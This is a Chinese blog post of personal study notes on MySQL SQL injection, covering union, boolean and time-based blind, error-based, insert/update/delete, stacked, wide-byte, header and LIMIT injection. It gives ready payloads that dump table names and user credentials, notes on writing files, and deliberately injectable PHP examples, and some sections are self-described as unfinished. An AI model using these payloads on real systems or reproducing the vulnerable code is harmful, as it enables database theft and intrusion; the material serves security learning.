本文最后更新于:2019 , 八月 15日 星期四, 6:14 晚上

利用可控的参数或者入口来加载不可控的参数或者代码,造成恶意不可控的运行结果
最新phpstudy中mysql.ini添加mysql.ini secure_file_priv=""配置

Mysql

Mysql5.0之后
默认存放一个:information_schema的数据库
该库中的三个表名:SCHEMATATABLESCOLUMNS
说明:

  • SCHEMATA表存储该用户创建的所有数据库名

    该表中距离数据库名的字段为:SCHEMA_NAME

  • TABLES表存储该用户创建的所有数据库的库名和表名

    该表中记录数据库名和表名的字段为:TABLE_SCHEMATABLE_NAME

  • COLUMNS表存储该用户创建的所有数据库的库名,字段名,表名

    数据库名,表名,字段名:TABLE_SCHEMATABLE_NAMECOLUMN_NAME

  • 不知任何条件时
    select 字段名 from 库名.表名;
  • 已知一条条件
    select 字段名 from 库名.表名 where 已知字段名='已知条件的值';
  • 已知两条条件
    select 字段名 from 库名.表名 where 已知1字段名='已知1条件值' and 已知2字段名='已知2条件值';

limit

# 格式
limit m,n

# m:记录开始的位置,0开始,表示第一条记录
# n:n指取n条记录

常用的几个函数

  • 注入时收集信息的

    database()
    version()
    user()
    @@datadir 读取数据库的绝对路径
    @@basedir mysql安装路径
    @@version_compile_os 操作系统

Mysql常用内置变量

@@have_openssl 如果mysqld支持客户端/服务器协议的SSL(加密)则为YES

@@version_compile_os 判断系统类型

@@max_allowed_packet 包或任何生成的/中间字符串的最大大小

@@max_user_connections MySQL账户允许的最大同时连接数,0表示没限制

@@skip_networking 如果服务器只允许本地(非TCP/IP)连接,该值为ON

@@table_type 默认表类型(存储引擎)

@@basedir MySQL安装基准目录

@@character_set_database 默认数据库使用的字符集

@@datadir 数据库存储的地方

@@expire_logs_days 二进制日志自动删除的天数,默认是0,表示"没有自动删除"

@@group_concat_max_len 允许group_concat()函数结果的最大长度

@@log_error 错误日志的位置

@@lower_case_file_system 该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.
        ON说明对文件名的大小写不敏感,OFF表示敏感

@@lower_case_table_names 如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.
    如果设置为2,按照指定的保存表名,但按照小写来比较

@@plugin_dir 插件目录的路径

@@tmpdir 保存临时文件和临时表的目录

@@tmp_table_size 如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表

@@sql_mode 当前服务器的sql模式

@@tx_isolation 默认事务隔离级别。默认值为REPEATABLE-READ

@@Connections 连接mysql数据库服务器的次数(不管成功还是失败)

@@max_write_lock_count 最大写锁数量

@@old_passwords 是否启用mysql323加密方式(就是mysql用户密码的hash是16位的)

@@Uptime 服务器已经运行的时间

常规函数

# Concat()
将字符串拼接起来

# group by
根据规则,对数据进行分组,分组的时候,mysql会建立一个临时空表进行分组

# hex()
hex('字符串')      进行16进制编码

# ascii()
ascii('字符串 ')  进行ascii编码

盲注常用函数

# 截取
mid(str,start,length)
str:返回其中一部分的字符串
start:起始位置
length:返回的长度

substr(str,start,length)
str:返回其中一部分的字符串
start:起始位置
length:返回的长度

----------------------------------------
# 编码

ord(str)
返回字符串第一个字符的ASCII值
----------------------------------------
# 返回长度

left(string,length)
str:返回其中一部分的字符串
length:返回的长度
----------------------------------------
if (条件,True,False)

----------------------------------------

报错注入常用函数

# floor()
floor(n):返回一个小于或等于传入参数N的最大整数(相当于截断小说部分)

# rand()

# extractvalue()
extractvalue(xml,xpath)
xml:是str格式,为xml文档对象的名称
xpath:xpath格式的字符串
作用:从目标XML中返回包含所查询值得字符串

# updatexml()
updatexml(xml,xpath,new_value)
xml:是str格式,为xml文档对象的名称
xpath:xpath格式的字符串
new_value:str格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值


# exp()
exp(x)计算e的x次方
需要数字的,传入字符串必然宝座

# GeometryCollection()
# polygon()
# multipoint()
# multilinestring()
# linestring()
# multipolygon()
例子:GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
作用:由一个或多个任意类几何对象构成几何对象
由于mysql无法用这样字符串画出图形,所以报错了

注释符

#
--空格
/**/

内联注释

# 内联注释的形式
/*!code */

/*!union*/ /*!select*/ 1,2,3

Union 注入

  • 判断注入

    # Tips:注意闭合语句!
    and 1=1
    and 1=2
  • 查看字段数

    # 最后一个字段数返回正确页面则为最终字段数
    order by 字段数
  • union select

    union select 字段数
  • 利用mysql函数查看相关信息

    # Tips:有些网页不会直接爆显示位,网页参数前加-,或后面and 1=2,让其报错
    id=-1' union select 1,2,3 %23
    id=1' and 1=2 union select 1,2,3 %23
  • 查询表名

    # 爆出所有表名
    id=1' and 1=2 union select 1,group_concat(TABLE_NAME),3 from information_schema.tables where table_schema=database() %23
    
    

查询第一个表名

id=1’ and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where table_schema=’security’ limit 0,1 %23

查询第二个表名

id=1’ and 1=2 union select 1,TABLE_NAME,3 from information_schema.tables where table_schema=’security’ limit 1,1 %23


* 查询字段名

查询某表的所有字段

id=1’ and 1=2 union select 1,group_concat(COLUMN_NAME),3 from information_schema.columns where table_name=’user’ %23

查询表的所有第一个字段

id=1’ and 1=2 union select 1,COLUMN_NAME,3 from information_schema.columns where table_name=’user’ limit 0,1 %23


* 获取数据

获取该字段下所有数据

id=1%27%20and%201=2 union select 1,group_concat(username,0x3a,password),3 from users %23

查看数据

id=1%27%20and%201=2 union select 1,username,password from users limit 0,1 %23


## 原理
```php
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
 echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

$result = mysqli_query($con,"select * from users where `id`=".$id);

while($row = mysqli_fetch_array($result))
{
 echo $row['username'] . " " . $row['address'];
 echo "<br>";
}
?>

可以看到SQL语句:$result = mysqli_query($con,”select * from users where `id`=”.$id)
直接被代入数据库中进行查询,并有进行过滤!
因此,这里可以直接进行构造语句进行恶意查询

# 正常访问页面
select * from users where `id`=1

# 恶意构造访问
select * from users where `id`=1 union select 1,2,3

高权限下的注入

基于root权限的注入

文件操作注入

利用函数:

  • load_file():读取文件
  • Into outfile() 写入函数
  • into dumpfile 写入文件
    select '写入内容' into dumpfile '文件路径'

注入点的权限是由代码中连接数据库的用户所决定的(连接请求)

与读取的相关因素:

  • mysql权限
  • 操作系统
  • 系统读写的权限
  • mysql配置
    secure_file_priv参数说明(这个参数在MySQL 5.7.6版本引入)
    这个参数用来限制数据导入和导出操作的效果
    例如执行LOAD DATA、SELECT ... INTO OUTFILE语句和LOAD_FILE()函数
    这些操作需要用户具有FILE权限
    如果这个参数为空,这个变量没有效果
    如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作
    这个目录必须存在,MySQL服务不会创建它;
    如果这个参数为NULL,MySQL服务会禁止导入和导出操作

路径的获取:

  • 报错显示
  • 谷歌黑客
  • 读取搭建平台配置文件
  • 漏洞报错
  • 遗留文件
  • 字典猜解

Ps:路径符号及编码,读取或写入文件的时候用/,对需要写入的字符进行16进制编码,用编码写入的时候不要单引号

跨库注入

在网站A具有ROOT的权限的下,浏览网站B的数据库
语法:select * from 数据库名.表名

其他的就和常规注入差不多


提交方式注入

  • POST 登录框注入
  • Cookie 验证注入
    直接将ID拼接到select语句进行查询,然后返回结果
    直接在cookie处,测试

Ps:将该写的东西写到改写的地方,post处和cookie处进行注入

  • HTTP 注入
    实际情况下,有部分站点接受数据是以http数据包中的http头部进去数据接受
    所以测试注入点的时候,需要将注入语句写入到http头部中
    $_SERVER
    以数据包的形式进行检测和注入(工具)
    火狐插件(modify headers)
    burp手工进行检测

参数类型注入

  • 数字
    $id = $_GET['x'];
    select * from news where id=1
  • 字符
    $id = $_GET['x'];
    select * from news where id='admin'
  • 搜索型
    $id = $_GET['x'];
    select * from news where id like '%username%'

参数加解密注入

例如:$id = base64_decode($_GET[‘X’]);
ID参数经过base64编码再进行访问
需要手动进行判断


盲注攻击 – Boolean(布尔) 注入

返回结果只有真和假(yes和no)
布尔型注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些结果是成立的

  • 判断数据库名长度
    # 第一次判断
    id=1'+and+length(database())>5--+
    返回:no
    

第二次判断

id=1’+and+length(database())>2–+
返回:yes

第三次判断

id=1’+and+length(database())>4–+
返回:no

第四次判断

id=1’+and+length(database())=4–+
返回:yes


* 判断数据库名

判断数据库名的第一个字符是否为t(这是截取字符串进行判断)

id=1’ and substr(database(),1,1)=’t’ –+
为了节省时间,你可以使用burp对t处进行爆破,以便快速获取

ASCII码值判断,以此类推

id=1’ and ord(mid(database(),1,1))>100 –+


* 判断表名

以此类推

id=1’ and substr((select table_name from information_schema.tables where table_schema=’test’ limit 0,1),1,1)=’u’ –+


## 原理
```php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
 echo "连接失败: " . mysqli_connect_error();
}

$id = $_GET['id'];

if (preg_match("/union|sleep|benchmark/i", $id)) {
 exit("no");
}

$result = mysqli_query($con,"select * from users where `id`='".$id."'");

$row = mysqli_fetch_array($result);

if ($row) {
 exit("yes");
}else{
 exit("no");
}

关键
preg_match():执行匹配正则表达式
通过preg_match匹配$id中是否存在/union|sleep|benchmark/等危险字符
如果没有则拼接SQL语句

if (preg_match("/union|sleep|benchmark/i", $id)) {
 exit("no");
}

盲注攻击 – 报错注入

Xpath语法错误

  • updatexml
  • extractvalue

updatexml报错注入

最大长度限制32位

  • 查询信息

    username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  • 获取全部数据库名

    username=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
  • 获取表名

    username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
  • 获取数据

    username=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+

原理

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

通过查询@@version,返回版本,然后cancat将其字符串化
因为updatexml第二个参数需要Xpath格式的字符串,所有不符合要求,然后报错
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

extractvalue()注入

extractvalue和updatexml差不多,我这就只略过

# 获取数据
username=1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))--+

几何函数注入

  • geometrycollection
  • multipoint
  • polygon
  • multipolygon
  • linestring
  • multilinestring

Tips:mysql 5.5.47 可以执行,>=5.5.53则不可以
函数对参数要求是(1 2,3 3,2 2 1)这样的几何数据,如果不满足要求,则会报错

username=1' and geometrycollection((select * from (select * from (select version())a)b)) --+

数据溢出

  • exp

5.5之前,整形溢出是不会报错的

select 18446744073709551615+1

在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算即可

select ~0

如果一个查询成功返回,则其返回值,进行逻辑非运算后可得1,这个值是可以进行数学运算的

# Mysql中
select (select * from (select user()x))

同理exp函数也会产生类似的溢出错误

username=1' and exp(~(select * from(select user())x)) --+

利用这一特性,再结合之前说的溢出报错,就可以进行注入了

Tips:5.5.7可以,>=5.5.53不行

select (select(!x-~0)from(select(select user())x)a)

主键重复

  • floor

countgroup by在遇到rand产生的重复值时报错的思路

  • count

    包括列,返回表中的记录数,相当于统计表的行数,在统计结果的时候,不会忽略列值为Null的记录

  • group by

    利用分组信息进行统计

  • rand

    0和1之间产生一个随机数

  • floor

    返回 小于等于 该值得最大整数

# 3条以上记录进行查询
select count(*) from users group by floor(rand(0)*2)

Tips:floor(rand(0)*2),报错是有条件的,记录必须3条以上,而且在3条以上必定报错

selec count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x

报错本质:floor(rand(0)2)的重复性,导致group by出错
*
group by key的原理:**

循环读取数据的每一行,将结果保存于临时表中
读取每一行的key,如果key存在于临时表中,则不再临时表中更新数据
如果key不再,则插入所在行的数据

rand()函数在查询的时候回执行一次,插入的时候还会执行一次,这就是整个语句报错的关键
floor(rand(0)*2)前六位是 011011 group by x先建立一个空表用于分组,然后进行分组查询
第一次rand()执行,查询的结果是0,因为是空表所以插入这条数据,而插入的时候rand()又执行了一次,所以

floor()报错注入,混乱没理解,待重写


盲注攻击 – 时间盲注

  • 判断数据库长度
    and+if(length(database())=4,0,sleep(5))
  • 获取表名
    # 判断表名长度
    and+if(length(table_name)=5,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1
    

获取表名

//mid进行获取
and+if(mid(table_name,1,1)=’u’,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1

//ord进行获取
and+if(ord(mid(table_name,1,1))=117,0,sleep(5)) from information_schema.tables where table_schema=database() limit 0,1

* 获取列名

判断列名长度

and+if(length(column_name)=5,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1

获取表名

//mid进行获取
and+if(mid(column_name,1,1)=’i’,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1

//ord进行获取
and+if(ord(mid(table_name,1,1))=105,0,sleep(5)) from information_schema.columns where table_name=’users’ limit 0,1


---

# Mysql_insert 三种注入
有的网站会记录用户浏览记录,包括referer,client_ip,user-agent以及一些其他的功能(用户注册,密码修改,信息删除等)
> insert,delete,update,limit

insert Into:插入数据
Insert Into table_name(field1,field2,fieldN) Values (value1,value2,valueN)

update:用于修改或更新Mysql中的数据
修改数据通用语法:update table_name SET field1=new_value1,field2=new_value2 where Clause

delete:删除Mysql中的数据
通用删除语法:DELETE from table_name where Clause


> Ps1:单双引号要根据查询,来决定注入时使用引号的问题
> Ps2:在这些类型的注入中Mysql中的 -,#,不会注释掉查询的其他部分,会被当做普通字符处理

## updatexml()获取数据
在这里,我们通常使用updatexml()和extractdata()函数
payload:`or updatexml(1,concat(0x7e,(version())),0) or ''`

例子

Insert

INSERT INTO users(id,username,password) values (‘10’,’xxx’ or updatexml(1,concat(0x7e,(version())),0) or’’,’123456’);
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’

Delete

delete from users where id=9 or updatexml(1,concat(0x7e,(version())),0) or ‘’;
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’

Update

update users SET username=’123’,password=’Nicky’ or updatexml(1,concat(0x7e,(version())),0) or ‘’ where id=9;
ERROR 1105 (HY000): XPATH syntax error: ‘~5.5.53’


* 获取表名,列名,数据
> payload:`or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ''`

Insert

获取表
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~users’

获取列
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=’users’ limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~user_id’

获取数据
INSERT INTO users (id, username, password) VALUES (12,’Olivia’ or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:’,id, username, password) FROM users limit 0,1)),0) or ‘’, ‘Nervo’);
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Dumb:Dumb’

Delete

获取数据
DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(‘:’,id,username, password) FROM users limit 0,1)),0) or ‘’;
ERROR 1105 (HY000): XPATH syntax error: ‘~1:Dumb:Dumb’


> Ps:可以在insert。update和dalete语句中使用updatexml()函数检索表,列,但是,`如果你在同一个表中,则不能使用update语句转储数据`!

```mysql
UPDATE users SET password='Nicky' or updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or'' WHERE id=2 and username='Olivia';
ERROR 1146 (42S02): Table 'newdb.users' doesn't exist
'''
这里不会提供任何数据,因为我们试图使用目标数据库来转储数据
如果注入点在其他表库,我们可以从另一个表中转储数据,而不是从表本身的数据中转储数据
这只适用于Update语句
'''

成功
UPDATE news SET title='Nicky' or Updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM test.users limit 0,1)),0) or'' WHERE id=1;
ERROR 1105 (HY000): XPATH syntax error: '~1:Dumb:Dumb'

extractvalue()

payload:or extractvalue(1,concat(0x7e,database())) or ''

# 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or extractvalue(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1))) or '', 'Nervo');
ERROR 1105 (HY000): XPATH syntax error: '~1:Dumb:Dumb'

这里和updatexml()的大同小异,就不详细写出来了
相同的规则适用于updatexml()方法中提到的update语句

name_const()

此处还是有点不理解。。。。待重写

此函数是在mysql版本5.0.12中添加的

name_const(name,value)
作用:返回给定的值,当用来产生一个结果集合列时, name_const()促使该列使用给定名称

payload:or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or ''

Ps:在mysql最新版本中,只能从该函数获中获取版本,>=5.0.12的旧版本中,可以进一步提取数据

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo')
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
得到该错误就不用继续了

由于我的环境问题,我这就直接把语句粘贴进来,大家自行测试吧

# 获取表
INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECTname_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or '','Nervo');

# 获取数据
INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1))a) or '', 'Nervo');

堆叠查询注入

堆叠查询可以执行多语句,多语句之间以分号(;)隔开
通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的

局限:并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制或权限不足

这里可以使用的注入方式:盲注,堆叠注入(堆查注入)

# 测试脚本
# 该脚本来自于《Web安全攻防》
try{
    $conn = new PDO("mysql:host=localhost;dbname=test","root","root");
    $conn -> setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
    $stmt = $conn -> query("SELECT * FROM users where `id` ='".$_GET['id']."'");
    $result = $stmt -> setFetchMode(PDO::FETCH_ASSOC);
    foreach($stmt->fetchAll() as $k=>$v ){
        foreach($v as $key => $value){
            echo $value;
        }
    }

    $dsn = null;
}

catch(PDOException $e){
    echo "error";
}
$conn = null;

Sql执行语句:$stmt = $conn -> query(“SELECT * FROM users where `id` =’”.$_GET[‘id’].”‘“);

# 堆叠语句
id=1';select if(substr(user(),1,1)='r',0,slepp(5)) %23

# update更新数据
id=1';update users SET username=user() where id=1 %23
原数据会被覆盖掉

这里产生的原因:PDO执行SQL语句时,可以执行多语句,不过这样通常不能直接得到结果,PDO只会返回第一条执行的结果
可以使用update更新数据/insert插入再进行访问或者使用盲注获取数据


二次注入

mysql_escape_string,addslashes 过滤和转义一些特殊字符的函数
在对数据都进行一些转义,但是转义后的”"并不会插入到数据库中

此处待实验。。。

原理


系统没有对已经存入数据库的数据做检测

先构造语句,有被转义字符的语句,把恶意语句存入数据库
然后,我们进行二次构造语句


宽字节注入

如果’被转义成
当数据库的编码为GBK时,并且在数据库查询前执行GBK编码设置,就可以使用宽字节注入
宽字节的格式是在地址后先加一个%df'

在GBK编码中,%df%5c是繁体字“蓮”,所以这时,可以造成单引号逃逸!
payload:1%df' %23

如果进行查询数据库的表名之类时,由于单引号被转义,导致SQL语句出错,所以需要利用嵌套查询
查询表名:select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
查看字段:select column_name from information_schema.columns where table_schema=(select database()) and table_name = (select table_name from information_schema.tables wherer table_schema=(select database()) limit 0,1) limit 0,1
第一层是:table_schema,第二和第三层:table_name
limit 第一个:表名,第二个:字段名

如果把数据库编码改成gb2312,是没有注入的
这归结于gb2312编码的取值范围,它的高位范围0xA10xF7,低范围0xA10xFE,而\是0x5c
只有在低范围中含有0x5c的编码,就可以进行宽字符注入


XFF 注入

HTTP请求头中有一个X-Forwarded-for参数
代表客户端真实的IP,修改则可以伪造客户端IP

在该参数中进行测试即可!


Mysql limit注入

适用于5.x中,在limit语句后面的注入

select field from table where id>0 order by id limit injection_point

上面的语句包含了order by,mysql当中union语句不能在order by的后面

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

Ps:limti 后面可以跟两个函数,PROCEDURE 和 INTO

  • INTO除非有些shell的权限,否则无法利用
  • procedure analyse()后面可以跟两个函数
    是Mysql内置对Mysql字段值进行统计分析后给出建议的字段类型

利用

# 报错
SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

# 直接使用sleep不行,需要用BENCHMARK代替
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

参考链接

http://www.ms08067.com/
https://xz.aliyun.com/
http://www.xiaodi8.com/

大部分内容都是摘抄下来的,感谢各位!


Web      Web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

二次注入学习笔记
靶场Sql字符串注入